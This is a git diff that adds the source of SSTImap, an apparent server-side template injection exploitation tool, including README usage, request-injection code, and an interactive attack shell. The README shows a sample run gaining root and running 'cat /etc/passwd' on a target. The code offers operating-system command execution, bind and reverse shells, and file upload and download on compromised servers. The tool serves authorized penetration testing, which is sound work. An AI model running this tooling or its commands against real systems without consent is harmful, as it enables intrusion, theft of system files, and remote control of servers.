+ ║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __
+ ╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \
+ ╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) |
+ ╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/
+ │ | |
+ |_|
+[*] Version: 0.6#dev
+[*] Author: @vladko312
+[*] Based on Tplmap
+[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
+It is the end user's responsibility to obey all applicable local, state and federal laws.
+Developers assume no liability and are not responsible for any misuse or damage caused by this program
+
+
+[*] Testing if GET parameter 'name' is injectable
+[*] Smarty plugin is testing rendering with tag '*'
+...
+[*] Jinja2 plugin is testing rendering with tag '{{*}}'
+[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
+[+] SSTImap identified the following injection point:
+
+ GET parameter: name
+ Engine: Jinja2
+ Injection: {{*}}
+ Context: text
+ OS: posix-linux
+ Technique: render
+ Capabilities:
+
+ Shell command execution: ok
+ Bind and reverse shell: ok
+ File write: ok
+ File read: ok
+ Code evaluation: ok, python code
+
+[+] Run commands on the operating system.
+posix-linux $ whoami
+root
+posix-linux $ cat /etc/passwd
+root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
+bin:x:2:2:bin:/bin:/usr/sbin/nologin
+```
+
+To get a full list of options, use `--help` argument.
+
+Interactive mode
+----------------
+
+In interactive mode, commands are used to interact with SSTImap. To enter interactive mode, you can use `-i` argument. All other arguments, except for the ones regarding exploitation payloads, will be used as initial values for settings.
+
+Some commands are used to alter settings between test runs. To run a test, target URL must be supplied via initial `-u` argument or `url` command. After that, you can use `run` command to check URL for SSTI.
+
+If SSTI was found, commands can be used to start the exploitation. You can get the same exploitation capabilities, as in the predetermined mode, but you can use `Ctrl+C` to abort them without stopping a program.
+
+By the way, test results are valid until target url is changed, so you can easily switch between exploitation methods without running detection test every time.
+
+To get a full list of interactive commands, use command `help` in interactive mode.
+
+Supported template engines
+--------------------------
+
+SSTImap supports multiple template engines and _eval()_-like injections.
+
+New payloads are welcome in PRs.
+
+| Engine | RCE | Blind | Code evaluation | File read | File write |
+|--------------------------------|-----|-------|-----------------|-----------|------------|
+| Mako | ✓ | ✓ | Python | ✓ | ✓ |
+| Jinja2 | ✓ | ✓ | Python | ✓ | ✓ |
+| Python (code eval) | ✓ | ✓ | Python | ✓ | ✓ |
+| Tornado | ✓ | ✓ | Python | ✓ | ✓ |
+| Nunjucks | ✓ | ✓ | JavaScript | ✓ | ✓ |
+| Pug | ✓ | ✓ | JavaScript | ✓ | ✓ |
+| doT | ✓ | ✓ | JavaScript | ✓ | ✓ |
+| Marko | ✓ | ✓ | JavaScript | ✓ | ✓ |
+| JavaScript (code eval) | ✓ | ✓ | JavaScript | ✓ | ✓ |
+| Dust (<= dustjs-helpers@1.5.0) | ✓ | ✓ | JavaScript | ✓ | ✓ |
+| EJS | ✓ | ✓ | JavaScript | ✓ | ✓ |
+| Ruby (code eval) | ✓ | ✓ | Ruby | ✓ | ✓ |
+| Slim | ✓ | ✓ | Ruby | ✓ | ✓ |
+| ERB | ✓ | ✓ | Ruby | ✓ | ✓ |
+| Smarty (unsecured) | ✓ | ✓ | PHP | ✓ | ✓ |
+| Smarty (secured) | ✓ | ✓ | PHP | ✓ | ✓ |
+| PHP (code eval) | ✓ | ✓ | PHP | ✓ | ✓ |
+| Twig (<=1.19) | ✓ | ✓ | PHP | ✓ | ✓ |
+| Freemarker | ✓ | ✓ | Java | ✓ | ✓ |
+| Velocity | ✓ | ✓ | Java | ✓ | ✓ |
+| Twig (>1.19) | × | × | × | × | × |
+| Dust (> dustjs-helpers@1.5.0) | × | × | × | × | × |
+
+
+Burp Suite Plugin
+-----------------
+
+Currently, Burp Suite only works with Jython as a way to execute python2. Python3 functionality is not provided.
+
+Future plans
+------------
+
+If you plan to contribute something big from this list, inform me to avoid working on the same thing as me or other contributors.
+
+- [ ] Make template and base language evaluation functionality more uniform
+- [ ] Add more payloads for different engines
+- [ ] Short arguments as interactive commands?
+- [ ] Automatic languages and engines import
+- [ ] Engine plugins as objects of _Plugin_ class?
+- [ ] JSON/plaintext API modes for scripting integrations?
+- [ ] Argument to remove escape codes?
+
+[1]: https://artsploit.blogspot.co.uk/2016/08/pprce2.html
+[2]: https://opsecx.com/index.php/2016/07/03/server-side-template-injection-in-tornado/
+[3]: https://github.com/epinna/tplmap/issues/9
+[4]: http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine
+[5]: http://blog.portswigger.net/2015/08/server-side-template-injection.html
+[6]: http://flask.pocoo.org/
+[7]: http://jinja.pocoo.org/
diff --git a/config.json b/config.json
new file mode 100644
index 0000000..9cead5f
--- /dev/null
+++ b/config.json
@@ -0,0 +1,5 @@
+{
+ "base_path": "~/.sstimap/",
+ "log_response": false,
+ "time_based_blind_delay": 4
+}
diff --git a/core/__init__.py b/core/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/core/channel.py b/core/channel.py
new file mode 100644
index 0000000..fd7bb52
--- /dev/null
+++ b/core/channel.py
@@ -0,0 +1,185 @@
+import requests
+import urllib3
+from utils.loggers import log
+from urllib import parse
+from copy import deepcopy
+import utils.config
+from utils.random_agent import get_agent
+
+
+class Channel:
+ def __init__(self, args):
+ self.args = args
+ self.url = self.args.get('url').replace('#', '%23').replace('\\n', '%0A')
+ self.base_url = self.url.split("?")[0] if '?' in self.url else self.url
+ self.tag = self.args.get('marker')
+ self.data = {}
+ self.injs = []
+ self.inj_idx = 0
+ proxy = self.args.get('proxy')
+ if proxy:
+ self.proxies = {'http': proxy, 'https': proxy}
+ else:
+ self.proxies = {}
+ self.get_params = {}
+ self.post_params = {}
+ self.header_params = {}
+ self._parse_url()
+ self._parse_cookies()
+ self._parse_get()
+ self._parse_post()
+ self._parse_header()
+ if not self.injs:
+ self._parse_get(all_injectable=True)
+ self._parse_post(all_injectable=True)
+ self._parse_header(all_injectable=True)
+ self._parse_method()
+ if not self.args.get('verify_ssl'):
+ urllib3.disable_warnings()
+
+ def _parse_method(self):
+ if self.args.get('method'):
+ self.http_method = self.args.get('method')
+ elif self.post_params:
+ self.http_method = 'POST'
+ else:
+ self.http_method = 'GET'
+
+ def _parse_url(self):
+ url_path = parse.urlparse(self.url).path
+ if self.tag not in url_path:
+ return
+ url_path_base_index = self.url.find(url_path)
+ for index in [i for i in range(url_path_base_index, url_path_base_index + len(url_path))
+ if self.url[i] == self.tag]:
+ self.injs.append({'field': 'URL', 'param': 'url', 'position': url_path_base_index + index})
+
+ def _parse_cookies(self):
+ # Just add cookies as headers, to avoid duplicating
+ # the parsing code. Concatenate to avoid headers with
+ # the same key.
+ cookies = self.args.get('cookies', [])
+ if cookies:
+ cookie_string = f"Cookie: {';'.join(cookies)}"
+ if not self.args.get('headers'):
+ self.args['headers'] = []
+ self.args['headers'].append(cookie_string)
+
+ def _parse_header(self, all_injectable=False):
+ for param_value in self.args.get('headers', []):
+ if ':' not in param_value:
+ continue
+ param, value = param_value.split(':', 1)
+ param = param.strip()
+ value = value.strip()
+ self.header_params[param] = value
+ if self.tag in param:
+ self.injs.append({'field': 'Header', 'part': 'param', 'param': param})
+ if self.tag in value or all_injectable:
+ self.injs.append({'field': 'Header', 'part': 'value', 'value': value, 'param': param})
+ if self.args.get('random_agent'):
+ user_agent = get_agent()
+ else:
+ user_agent = self.args.get('user_agent')
+ if 'user-agent' not in [p.lower() for p in self.header_params.keys()]:
+ self.header_params['User-Agent'] = user_agent
+
+ def _parse_post(self, all_injectable=False):
+ if self.args.get('data'):
+ params_dict_list = parse.parse_qs(self.args.get('data'), keep_blank_values=True)
+ for param, value_list in params_dict_list.items():
+ self.post_params[param] = value_list
+ if self.tag in param:
+ self.injs.append({'field': 'POST', 'part': 'param', 'param': param})
+ for idx, value in enumerate(value_list):
+ if self.tag in value or all_injectable:
+ self.injs.append({'field': 'POST', 'part': 'value', 'value': value, 'param': param, 'idx': idx})
+
+ def _parse_get(self, all_injectable=False):
+ params_dict_list = parse.parse_qs(parse.urlsplit(self.url).query, keep_blank_values=True)
+ for param, value_list in params_dict_list.items():
+ self.get_params[param] = value_list
+ if self.tag in param:
+ self.injs.append({'field': 'GET', 'part': 'param', 'param': param})
+ for idx, value in enumerate(value_list):
+ if self.tag in value or all_injectable:
+ self.injs.append({'field': 'GET', 'part': 'value', 'param': param, 'value': value, 'idx': idx})
+
+ def req(self, injection):
+ get_params = deepcopy(self.get_params)
+ post_params = deepcopy(self.post_params)
+ header_params = deepcopy(self.header_params)
+ url_params = self.base_url
+ inj = deepcopy(self.injs[self.inj_idx])
+ if inj['field'] == 'URL':
+ position = inj['position']
+ url_params = self.base_url[:position] + injection + self.base_url[position+1:]
+ elif inj['field'] == 'POST':
+ if inj.get('part') == 'param':
+ old_value = post_params[inj.get('param')]
+ del post_params[inj.get('param')]
+ if self.tag in inj.get('param'):
+ new_param = inj.get('param').replace(self.tag, injection)
+ else:
+ new_param = injection
+ post_params[new_param] = old_value
+ if inj.get('part') == 'value':
+ if self.tag in post_params[inj.get('param')][inj.get('idx')]:
+ post_params[inj.get('param')][inj.get('idx')] = post_params[inj.get('param')][inj.get('idx')].replace(self.tag, injection)
+ else:
+ post_params[inj.get('param')][inj.get('idx')] = injection
+ elif inj['field'] == 'GET':
+ if inj.get('part') == 'param':
+ old_value = get_params[inj.get('param')]
+ del get_params[inj.get('param')]
+ if self.tag in inj.get('param'):
+ new_param = inj.get('param').replace(self.tag, injection)
+ else:
+ new_param = injection
+ get_params[new_param] = old_value
+ if inj.get('part') == 'value':
+ if self.tag in get_params[inj.get('param')][inj.get('idx')]:
+ get_params[inj.get('param')][inj.get('idx')] = get_params[inj.get('param')][inj.get('idx')].replace(self.tag, injection)
+ else:
+ get_params[inj.get('param')][inj.get('idx')] = injection
+ elif inj['field'] == 'Header':
+ injection = injection.replace('\n', '').replace('\r', '')
+ if inj.get('part') == 'param':
+ old_value = get_params[inj.get('param')]
+ del header_params[inj.get('param')]
+ if self.tag in inj.get('param'):
+ new_param = inj.get('param').replace(self.tag, injection)
+ else:
+ new_param = injection
+ header_params[new_param] = old_value
+ if inj.get('part') == 'value':
+ if self.tag in header_params[inj.get('param')]:
+ header_params[inj.get('param')] = header_params[inj.get('param')].replace(self.tag, injection)
+ else:
+ header_params[inj.get('param')] = injection
+ if self.tag in self.base_url:
+ log.debug(f'[URL] {url_params}')
+ if get_params:
+ log.debug(f'[GET] {get_params}')
+ if post_params:
+ log.debug(f'[POST] {post_params}')
+ if len(header_params) > 1:
+ log.debug(f'[HEDR] {header_params}')
+ try:
+ result = requests.request(method=self.http_method, url=url_params, params=get_params, data=post_params,
+ headers=header_params, proxies=self.proxies, verify=self.args.get('verify_ssl')).text
+ except requests.exceptions.ConnectionError as e:
+ if e and e.args[0] and e.args[0].args[0] == 'Connection aborted.':
+ log.log(25, 'Error: connection aborted, bad status line.')
+ result = ""
+ elif e and e.args[0] and 'Max retries exceeded' in e.args[0].args[0]:
+ log.log(25, 'Error: max retries exceeded for a connection.')
+ result = ""
+ else:
+ raise
+ if utils.config.log_response:
+ log.debug(f"< {result}")
+ return result
+
+ def detected(self, technique, detail):
+ pass
diff --git a/core/checks.py b/core/checks.py
new file mode 100644
index 0000000..aab6fa2
--- /dev/null
+++ b/core/checks.py
@@ -0,0 +1,246 @@
+from plugins.engines.mako import Mako
+from plugins.engines.jinja2 import Jinja2
+from plugins.engines.twig import Twig
+from plugins.engines.freemarker import Freemarker
+from plugins.engines.velocity import Velocity
+from plugins.engines.pug import Pug
+from plugins.engines.nunjucks import Nunjucks
+from plugins.engines.dust import Dust
+from plugins.engines.dot import Dot
+from plugins.engines.tornado import Tornado
+from plugins.engines.marko import Marko
+from plugins.engines.slim import Slim
+from plugins.engines.erb import Erb
+from plugins.engines.ejs import Ejs
+from plugins.engines.smarty import Smarty
+from plugins.languages.javascript import Javascript
+from plugins.languages.php import Php
+from plugins.languages.python import Python
+from plugins.languages.ruby import Ruby
+from plugins.legacy_engines.smarty_unsecure import Smarty_unsecure
+from utils.loggers import log
+from core.clis import Shell, MultilineShell
+from core.tcpserver import TcpServer
+import telnetlib
+from urllib import parse
+import socket
+
+
+def plugins(legacy=False):
+ plugin_list = []
+ if legacy:
+ plugin_list.extend([
+ Smarty_unsecure,
+ ])
+ plugin_list.extend([
+ Smarty,
+ Mako,
+ Python,
+ Tornado,
+ Jinja2,
+ Twig,
+ Freemarker,
+ Velocity,
+ Slim,
+ Erb,
+ Pug,
+ Nunjucks,
+ Dot,
+ Dust,
+ Marko,
+ Javascript,
+ Php,
+ Ruby,
+ Ejs
+ ])
+ return plugin_list
+
+
+def print_injection_summary(channel):
+ prefix = channel.data.get('prefix', '').replace('\n', '\\n')
+ render = channel.data.get('render', '{code}').replace('\n', '\\n').format(code='*')
+ suffix = channel.data.get('suffix', '').replace('\n', '\\n')
+ if channel.data.get('evaluate_blind'):
+ evaluation = f"\033[92mok\033[0m, {channel.data.get('language')} code (blind)"
+ elif channel.data.get('evaluate'):
+ evaluation = f"\033[92mok\033[0m, {channel.data.get('language')} code"
+ else:
+ evaluation = '\033[91mno\033[0m'
+ if channel.data.get('execute_blind'):
+ execution = '\033[92mok\033[0m (blind)'
+ elif channel.data.get('execute'):
+ execution = '\033[92mok\033[0m'
+ else:
+ execution = '\033[91mno\033[0m'
+ if channel.data.get('write'):
+ if channel.data.get('blind'):
+ writing = '\033[92mok\033[0m (blind)'
+ else:
+ writing = '\033[92mok\033[0m'
+ else:
+ writing = '\033[91mno\033[0m'
+ log.log(21, f"""SSTImap identified the following injection point:
+
+ {channel.injs[channel.inj_idx]['field']} parameter: {channel.injs[channel.inj_idx]['param']}
+ Engine: {channel.data.get('engine').capitalize()}
+ Injection: {prefix}{render}{suffix}
+ Context: {'text' if (not prefix and not suffix) else 'code'}
+ OS: {channel.data.get('os', 'undetected')}
+ Technique: {'blind' if channel.data.get('blind') else 'render'}
+ Capabilities:
+
+ Shell command execution: {execution}
+ Bind and reverse shell: {f'{chr(27)}[91mno{chr(27)}[0m' if not channel.data.get('bind_shell') else f'{chr(27)}[92mok{chr(27)}[0m'}
+ File write: {writing}
+ File read: {f'{chr(27)}[91mno{chr(27)}[0m' if not channel.data.get('read') else f'{chr(27)}[92mok{chr(27)}[0m'}
+ Code evaluation: {evaluation}
+""")
+
+
+def detect_template_injection(channel):
+ for i in range(len(channel.injs)):
+ log.log(23, f"Testing if {channel.injs[channel.inj_idx]['field']} parameter '{channel.injs[channel.inj_idx]['param']}' is injectable")
+ for plugin in plugins(channel.args.get('legacy')):
+ current_plugin = plugin(channel)
+ if channel.args.get('engine') and channel.args.get('engine').lower() != current_plugin.plugin.lower():
+ continue
+ current_plugin.detect()
+ if channel.data.get('engine'):
+ return current_plugin
+ channel.inj_idx += 1
+
+
+def check_template_injection(channel):
+ current_plugin = detect_template_injection(channel)
+ if not channel.data.get('engine'):
+ log.log(22, "Tested parameters appear to be not injectable.")
+ return current_plugin
+ print_injection_summary(channel)
+ if not any(f for f, v in channel.args.items() if f in ('os_cmd', 'os_shell', 'upload', 'download', 'tpl_shell',
+ 'tpl_code', 'bind_shell', 'reverse_shell', 'eval_shell',
+ 'eval_code', 'interactive') and v):
+ log.log(21, f"""Rerun SSTImap providing one of the following options:{'''
+ --os-shell Prompt for an interactive operating system shell
+ --os-cmd Execute an operating system command.''' if channel.data.get('execute') or channel.data.get('execute_blind') else ''}{'''
+ --eval-shell Prompt for an interactive shell on the template engine base language.
+ --eval-cmd Evaluate code in the template engine base language.''' if channel.data.get('evaluate') or channel.data.get('evaluate_blind') else ''}{'''
+ --tpl-shell Prompt for an interactive shell on the template engine.
+ --tpl-cmd Inject code in the template engine.''' if channel.data.get('engine') else ''}{'''
+ --bind-shell PORT Connect to a shell bind to a target port''' if channel.data.get('bind_shell') else ''}{'''
+ --reverse-shell HOST PORT Send a shell back to the attacker's port''' if channel.data.get('reverse_shell') else ''}{'''
+ --upload LOCAL REMOTE Upload files to the server''' if channel.data.get('write') else ''}{'''
+ --download REMOTE LOCAL Download remote files''' if channel.data.get('read') else ''}""")
+ return current_plugin
+ # Execute operating system commands
+ if channel.args.get('os_cmd') or channel.args.get('os_shell'):
+ if channel.data.get('execute_blind'):
+ log.log(23, """Blind injection has been found and command execution will not produce any output.""")
+ log.log(26, 'Delay is introduced appending \'&& sleep \' to the shell commands. '
+ 'True or False is returned whether it returns successfully or not.')
+ if channel.args.get('os_cmd'):
+ print(current_plugin.execute_blind(channel.args.get('os_cmd')))
+ elif channel.args.get('os_shell'):
+ log.log(21, 'Run commands on the operating system.')
+ Shell(current_plugin.execute_blind, f"{channel.data.get('os', 'undetected')} (blind) $ ").cmdloop()
+ elif channel.data.get('execute'):
+ if channel.args.get('os_cmd'):
+ print(current_plugin.execute(channel.args.get('os_cmd')))
+ elif channel.args.get('os_shell'):
+ log.log(21, 'Run commands on the operating system.')
+ Shell(current_plugin.execute, f"{channel.data.get('os', 'undetected')} $ ").cmdloop()
+ else:
+ log.log(22, 'No system command execution capabilities have been detected on the target.')
+ # Execute template commands
+ if channel.args.get('tpl_code') or channel.args.get('tpl_shell'):
+ if channel.data.get('engine'):
+ if channel.data.get('blind'):
+ log.log(23, 'Only blind execution has been found. '
+ 'Injected template code will not produce any output.')
+ call = current_plugin.inject
+ else:
+ call = current_plugin.render
+ if channel.args.get('tpl_code'):
+ print(call(channel.args.get('tpl_code')))
+ elif channel.args.get('tpl_shell'):
+ log.log(21, 'Inject multi-line template code. '
+ 'Press ctrl-D or type \'EOF\' on a new line to send the lines')
+ MultilineShell(call, f"{channel.data.get('engine', '')} > ").cmdloop()
+ else:
+ log.log(22, 'No template code evaluation capabilities have been detected on the target')
+ # Execute language commands
+ if channel.args.get('eval_code') or channel.args.get('eval_shell'):
+ if channel.data.get('evaluate_blind'):
+ log.log(23, 'Only blind execution has been found. '
+ 'Injected code will not produce any output.')
+ if channel.args.get('eval_code'):
+ print(current_plugin.evaluate_blind(channel.args.get('eval_code')))
+ elif channel.args.get('eval_shell'):
+ log.log(21, 'Evaluate multi-line template base language code. '
+ 'Press ctrl-D or type \'EOF\' on a new line to send the lines')
+ MultilineShell(current_plugin.evaluate_blind, f"{channel.data.get('language', '')} > ").cmdloop()
+ elif channel.data.get('evaluate'):
+ if channel.args.get('eval_code'):
+ print(current_plugin.evaluate(channel.args.get('eval_code')))
+ elif channel.args.get('eval_shell'):
+ log.log(21, 'Evaluate multi-line template base language code. '
+ 'Press ctrl-D or type \'EOF\' on a new line to send the lines')
+ MultilineShell(current_plugin.evaluate, f"{channel.data.get('language', '')} > ").cmdloop()
+ else:
+ log.log(22, 'No language code evaluation capabilities have been detected on the target')
+ # Perform file upload
+ local_remote_paths = channel.args.get('upload')
+ if local_remote_paths:
+ if channel.data.get('write'):
+ local_path, remote_path = local_remote_paths
+ with open(local_path, 'rb') as f:
+ data = f.read()
+ current_plugin.write(data, remote_path)
+ else:
+ log.log(22, 'No file upload capabilities have been detected on the target')
+ # Perform file read
+ remote_local_paths = channel.args.get('download')
+ if remote_local_paths:
+ if channel.data.get('read'):
+ remote_path, local_path = remote_local_paths
+ content = current_plugin.read(remote_path)
+ with open(local_path, 'wb') as f:
+ f.write(content)
+ else:
+ log.log(22, 'No file download capabilities have been detected on the target')
+ # Connect to tcp shell
+ bind_shell_port = channel.args.get('bind_shell')
+ if bind_shell_port:
+ if channel.data.get('bind_shell'):
+ urlparsed = parse.urlparse(channel.base_url)
+ if not urlparsed.hostname:
+ log.log(22, "Error parsing hostname")
+ return current_plugin
+ for idx, thread in enumerate(current_plugin.bind_shell(bind_shell_port)):
+ log.log(26, f'Spawn a shell on remote port {bind_shell_port} with payload {idx+1}')
+ thread.join(timeout=1)
+ if not thread.is_alive():
+ continue
+ try:
+ telnetlib.Telnet(urlparsed.hostname.decode(), bind_shell_port, timeout=5).interact()
+ # If telnetlib does not rise an exception, we can assume that
+ # ended correctly and return from `run()`
+ return current_plugin
+ except Exception as e:
+ log.debug(f"Error connecting to {urlparsed.hostname}:{bind_shell_port} {e}")
+ else:
+ log.log(22, 'No TCP shell opening capabilities have been detected on the target')
+ # Accept reverse tcp connections
+ reverse_shell_host_port = channel.args.get('reverse_shell')
+ if reverse_shell_host_port:
+ host, port = reverse_shell_host_port
+ timeout = 15
+ if channel.data.get('reverse_shell'):
+ current_plugin.reverse_shell(host, port)
+ # Run tcp server
+ try:
+ TcpServer(int(port), timeout)
+ except socket.timeout:
+ log.log(22, f"No incoming TCP shells after {timeout}s, quitting.")
+ else:
+ log.log(22, 'No reverse TCP shell capabilities have been detected on the target')
+ return current_plugin
diff --git a/core/clis.py b/core/clis.py
new file mode 100644
index 0000000..0d9b8d8
--- /dev/null
+++ b/core/clis.py
@@ -0,0 +1,52 @@
+import cmd
+
+
+class Shell(cmd.Cmd):
+ """Interactive shell."""
+ def __init__(self, inject_function, prompt):
+ cmd.Cmd.__init__(self)
+ self.inject_function = inject_function
+ self.prompt = prompt
+
+ def default(self, line):
+ print(self.inject_function(line))
+
+ def emptyline(self):
+ pass
+
+
+class MultilineShell(cmd.Cmd):
+ """Interactive multiline shell."""
+ def __init__(self, inject_function, prompt):
+ cmd.Cmd.__init__(self)
+
+ self.inject_function = inject_function
+ self.fixed_prompt = prompt
+
+ self.lines = []
+
+ self._format_prompt()
+
+ def _format_prompt(self):
+ self.prompt = f'[{len(self.lines)}] {self.fixed_prompt}'
+
+ def postcmd(self, stop, line):
+ self._format_prompt()
+ return stop
+
+ def default(self, line):
+ self.lines.append(line)
+
+ def emptyline(self):
+ # Do not save empty line if there is nothing to send
+ if not self.lines:
+ return
+
+ def do_EOF(self, line):
+ # Run the inject function and reset the state
+ # Send the current line as well
+ if line:
+ self.lines.append(line)
+ print('')
+ print(self.inject_function('\n'.join(self.lines)))
+ self.lines = []
diff --git a/core/interactive.py b/core/interactive.py
new file mode 100644
index 0000000..7559794
--- /dev/null
+++ b/core/interactive.py
@@ -0,0 +1,576 @@
+import cmd
+from utils.loggers import log
+from urllib import parse
+from core import checks
+from core.channel import Channel
+from core.clis import Shell, MultilineShell
+from core.tcpserver import TcpServer
+import telnetlib
+import socket
+
+
+class InteractiveShell(cmd.Cmd):
+ """Interactive mode shell."""
+ def __init__(self, args):
+ cmd.Cmd.__init__(self)
+ self.prompt = f"SSTImap> "
+ self.sstimap_options = args
+ self.sstimap_options.update({"tpl_shell": False, "tpl_cmd": None, "os_shell": False, "os_cmd": None,
+ "bind_shell": None, "reverse_shell": None, "upload": None, "download": None,
+ "eval_shell": False, "eval_cmd": None})
+ if self.sstimap_options["url"]:
+ self.do_url(args.get("url"))
+ self.channel = Channel(self.sstimap_options)
+ self.current_plugin = None
+ self.checked = False
+
+ def set_module(self, module):
+ self.prompt = f"SSTImap{f' ({module})' if module else ''}> "
+
+ def default(self, line):
+ log.log(22, f'Invalid interactive command: {line.split(" ", 1)[0].lower()}. '
+ f'Type \'help\' to see available commands.')
+
+ def emptyline(self):
+ pass
+
+# Information commands
+
+ def do_help(self, line):
+ log.log(23, """SSTImap is an automatic SSTI detection and exploitation tool with predetermined and interactive modes.
+
+Information:
+ ?, help Show this help message
+ version Print SSTImap version
+ opt, options Display current SSTImap options
+ info Show information about detection results
+
+Target:
+ url, target [URL] Set target URL (e.g. 'https://example.com/?name=test')
+ run, test, check Run SSTI detection on the target
+
+Request:
+ mark, marker [MARKER] Set string as injection marker (default '*')
+ data, post {rm} [DATA] Add POST data param to send (e.g. 'param=value'). To remove by prefix, use "data rm PREFIX". Whithout arguments, shows params list
+ header, headers {rm} [HEADER] Add header to send (e.g. 'Header: Value'). To remove by prefix, use "data rm PREFIX". Whithout arguments, shows headers list
+ cookie, cookies {rm} [COOKIE] Cookie to send (e.g. 'Field=Value'). To remove by prefix, use "data rm PREFIX". Whithout arguments, shows cookies list
+ method, http_method [METHOD] Set HTTP method to use (default 'GET')
+ agent, user_agent [AGENT] Set User-Agent header value to use
+ random, random_agent Toggle using random User-Agent header value from a list of desktop browsers on every attempt
+ proxy [PROXY] Use a proxy to connect to the target URL
+ ssl, verify_ssl Toggle verifying SSL certificates (not verified by default)
+
+Detection:
+ lvl, level [LEVEL] Set level of escaping to perform (1-5, Default: 1)
+ force, force_level [LEVEL] [CLEVEL] Force a LEVEL and CLEVEL to test
+ engine [ENGINE] Check only this backend template engine. For all, use '*'
+ technique [TECHNIQUE] Use techniques R(endered) T(ime-based blind). Default: RT
+ legacy Toggle including old payloads, that no longer work with newer versions of the engines
+
+Exploitation:
+ tpl, tpl_shell Prompt for an interactive shell on the template engine
+ tpl_code [CODE] Inject code in the template engine
+ eval, eval_shell Prompt for an interactive shell on the template engine base language
+ eval_code [CODE] Evaluate code in the template engine base language
+ !, os, shell, os_shell Prompt for an interactive operating system shell
+ os_cmd [COMMAND] Execute an operating system command
+ bind, bind_shell [PORT] Spawn a system shell on a TCP PORT of the target and connect to it
+ reverse, reverse_shell [HOST] [PORT] Run a system shell and back-connect to local HOST PORT
+ overwrite, force_overwrite Toggle file overwrite when uploading
+ up, upload [LOCAL] [REMOTE] Upload LOCAL to REMOTE files
+ down, download [REMOTE] [LOCAL] Download REMOTE to LOCAL files""")
+
+ def do_version(self, line):
+ """Show current SSTImap version"""
+ log.log(23, f'Current SSTImap version: {self.sstimap_options["version"]}')
+
+ def do_options(self, line):
+ """Show current SSTImap options"""
+ log.log(23, f'Current SSTImap {self.sstimap_options["version"]} interactive mode options:')
+ if not self.sstimap_options["url"]:
+ log.log(25, f'URL is not set.')
+ else:
+ log.log(26, f'URL: {self.sstimap_options["url"]}')
+ log.log(26, f'Injection marker: {self.sstimap_options["marker"]}')
+ if self.sstimap_options["data"]:
+ data = "\n ".join(self.sstimap_options["data"])
+ log.log(26, f'POST data:\n {data}')
+ if self.sstimap_options["headers"]:
+ headers = "\n ".join(self.sstimap_options["headers"])
+ log.log(26, f'HTTP headers:\n {headers}')
+ if self.sstimap_options["cookies"]:
+ cookies = "\n ".join(self.sstimap_options["cookies"])
+ log.log(26, f'Cookies:\n {cookies}')
+ log.log(26, f'HTTP method: {self.sstimap_options["method"]}')
+ if self.sstimap_options["random_agent"]:
+ log.log(26, 'User-Agent is randomised')
+ else:
+ log.log(26, f'User-Agent: {self.sstimap_options["user_agent"]}')
+ if self.sstimap_options["proxy"]:
+ log.log(26, f'Proxy: {self.sstimap_options["proxy"]}')
+ log.log(26, f'Verify SSL: {self.sstimap_options["verify_ssl"]}')
+ if self.sstimap_options["force_level"]:
+ log.log(26, f'Forced level: {self.sstimap_options["force_level"][0]}')
+ log.log(26, f'Forced context level: {self.sstimap_options["force_level"][1]}')
+ else:
+ log.log(26, f'Level: {self.sstimap_options["level"]}')
+ log.log(26, f'Engine: {self.sstimap_options["engine"] if self.sstimap_options["engine"] else "*"}'
+ f'{"+" if not self.sstimap_options["engine"] and self.sstimap_options["legacy"] else ""}')
+ log.log(26, f'Attack technique: {self.sstimap_options["technique"]}')
+ log.log(26, f'Force overwrite files: {self.sstimap_options["force_overwrite"]}')
+
+ do_opt = do_options
+
+ def do_info(self, line):
+ """Show information about the capabilities of a detected SSTI"""
+ if not self.checked:
+ log.log(25, 'Target URL was not checked for SSTI. Use \'run\' or \'check\' first.')
+ return
+ checks.print_injection_summary(self.channel)
+
+# Target commands
+
+ def do_url(self, line):
+ """Set target URL"""
+ if line == '':
+ log.log(22, 'Target URL cannot be empty.')
+ return
+ url = parse.urlparse(line)
+ if url.netloc == '':
+ log.log(22, 'Unable to parse target URL.')
+ return
+ log.log(24, f'Target URL is set to {line}')
+ self.sstimap_options["url"] = line
+ self.set_module(f'\033[31m{url.netloc}\033[0m')
+ self.checked = False
+
+ do_target = do_url
+
+ def do_run(self, line):
+ """Check target URL for SSTI vulnerabilities"""
+ if not self.sstimap_options["url"]:
+ log.log(22, 'Target URL cannot be empty.')
+ return
+ try:
+ self.channel = Channel(self.sstimap_options)
+ self.current_plugin = checks.check_template_injection(self.channel)
+ except (KeyboardInterrupt, EOFError):
+ log.log(26, 'Exiting SSTI detection')
+ self.checked = True
+
+ do_check = do_run
+ do_test = do_run
+
+# Request commands
+
+ def do_marker(self, line):
+ """Set injection marker"""
+ if line == '':
+ log.log(22, 'Marker can\'t be empty.')
+ return
+ log.log(24, f'Marker is set to {line}')
+ self.sstimap_options["marker"] = line
+
+ do_mark = do_marker
+
+ def do_data(self, line):
+ """Modify POST data"""
+ if line == "":
+ log.log(24, f'Clearing all POST data...')
+ self.sstimap_options["data"] = []
+ return
+ command = line.split(" ", 1)
+ if (command[0] == "remove" or command[0] == "rm") and len(command) == 2 and command[1] != "":
+ log.log(24, f'Removing data starting with {command[1]}:')
+ for data in self.sstimap_options["data"].copy():
+ if data.startswith(command[1]):
+ log.log(26, f'Removing: {data}')
+ self.sstimap_options["data"].remove(data)
+ else:
+ log.log(24, f'Adding POST data: {line}')
+ self.sstimap_options["data"].append(line)
+
+ do_post = do_data
+
+ def do_header(self, line):
+ """Modify HTTP headers"""
+ if line == "":
+ log.log(24, f'Clearing all HTTP headers...')
+ self.sstimap_options["headers"] = []
+ return
+ command = line.split(" ", 1)
+ if (command[0] == "remove" or command[0] == "rm") and len(command) == 2 and command[1] != "":
+ log.log(24, f'Removing HTTP headers starting with {command[1]}:')
+ for header in self.sstimap_options["headers"].copy():
+ if header.startswith(command[1]):
+ log.log(26, f'Removing: {header}')
+ self.sstimap_options["headers"].remove(header)
+ else:
+ log.log(24, f'Adding HTTP header: {line}')
+ self.sstimap_options["headers"].append(line)
